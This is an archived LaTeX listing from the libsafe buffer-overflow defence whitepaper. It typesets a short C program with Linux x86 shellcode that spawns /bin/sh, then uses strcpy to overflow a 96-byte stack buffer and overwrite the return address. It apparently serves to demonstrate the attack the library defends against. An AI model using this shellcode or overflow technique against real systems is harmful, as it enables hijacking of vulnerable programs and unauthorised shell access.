"Fossies" - the Fresh Open Source Software Archive

Member "libsafe-2.0-16/doc/whitepaper-1.3/t1.tex" (1 Feb 2001, 1087 Bytes) of package /linux/misc/old/libsafe-2.0-16.tgz:


As a special service "Fossies" has tried to format the requested source page into HTML format using (guessed) TeX and LaTeX source code syntax highlighting (style: standard) with prefixed line numbers. Alternatively you can here view or download the uninterpreted source code file.

    1 % Remember to use the lgrind style
    2 
    3 \Head{}
    4 \File{t1.c}{1999}{Dec}{10}{16:58}{515}
    5 \L{\LB{\K{\#include}_\<\V{stdio}.\V{h}\>}}
    6 \L{\LB{}}
    7 \L{\LB{\K{char}_\V{shellcode}[\,]_=}}
    8 \L{\LB{___\S{}\3\2xeb\2x1f\2x5e\2x89\2x76\2x08\2x31\2xc0\2x88\2x46\2x07\2x89\2x46\2x0c\2xb0\2x0b\3\SE{}}}
    9 \L{\LB{___\S{}\3\2x89\2xf3\2x8d\2x4e\2x08\2x8d\2x56\2x0c\2xcd\2x80\2x31\2xdb\2x89\2xd8\2x40\2xcd\3\SE{}}}
   10 \L{\LB{___\S{}\3\2x80\2xe8\2xdc\2xff\2xff\2xff\1bin\1sh\3\SE{};}}
   11 \L{\LB{}}
   12 \L{\LB{\K{char}_\V{large\_string}[\N{128}];}}
   13 \L{\LB{\K{int}_\V{i};}}
   14 \L{\LB{\K{long}_\*\V{long\_ptr};}}
   15 \L{\LB{}}
   16 \L{\LB{\Proc{main}\K{int}_\V{main}()_\{}}
   17 \L{\LB{__\K{char}_\V{buffer}[\N{96}];}}
   18 \L{\LB{}}
   19 \L{\LB{__\V{long\_ptr}_=_(\K{long}_\*)\V{large\_string};}}
   20 \L{\LB{__\K{for}_(\V{i}=\N{0};_\V{i}\<\N{32};_\V{i}++)}}
   21 \L{\LB{____\*(\V{long\_ptr}+\V{i})_=_(\K{int})\V{buffer};}}
   22 \L{\LB{__\K{for}_(\V{i}=\N{0};_\V{i}\<(\K{int})\V{strlen}(\V{shellcode});_\V{i}++)}}
   23 \L{\LB{____\V{large\_string}[\V{i}]_=_\V{shellcode}[\V{i}];}}
   24 \L{\LB{__\V{strcpy}(\V{buffer},_\V{large\_string});}}
   25 \L{\LB{__\K{return}_\N{0};}}
   26 \L{\LB{\}}}